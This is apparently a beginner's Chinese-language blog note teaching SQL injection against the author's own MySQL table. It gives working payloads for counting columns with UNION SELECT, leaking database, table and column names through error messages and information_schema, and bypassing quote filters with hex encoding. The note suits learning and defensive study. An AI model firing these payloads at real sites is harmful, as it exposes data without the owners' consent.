新手入坑sql注入,以下是笔记

首先本人存在这么一个mysql数据库

sql注入教学

 

爆库

方法一:

先猜有几列

select * from student where Sid =1 UNION SELECT 1,2,3,4

sql注入教学

数字依次增加,发现有四列,然后通过database()来爆表名

select * from student where Sid =1 UNION SELECT DATABASE(),2,3,4

sql注入教学

 

 方法二:

通过构造一个不存在的函数a()

select * from student where Sid =1-a()

sql注入教学

 

 

爆表

 【通过错误日志反馈得到】

select * from student where Sid =1 and polygon(Sid)

sql注入教学

 

可以看到库名,表名都被爆出来了

 

【通过查询得到】

-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

sql注入教学

 

爆字段

【通过查询得到】

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

有些屏蔽了引号,可以用十六进制绕过,比如fl4g转成

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#

sql注入教学

 

相关文章:

  • 2022-02-23
  • 2021-09-09
  • 2021-06-16
  • 2022-12-23
  • 2021-10-31
  • 2021-07-07
  • 2021-04-23
  • 2021-12-14
猜你喜欢
  • 2021-10-11
  • 2021-09-22
  • 2021-10-17
  • 2021-12-25
  • 2021-07-25
  • 2021-09-27
  • 2021-08-16
相关资源
相似解决方案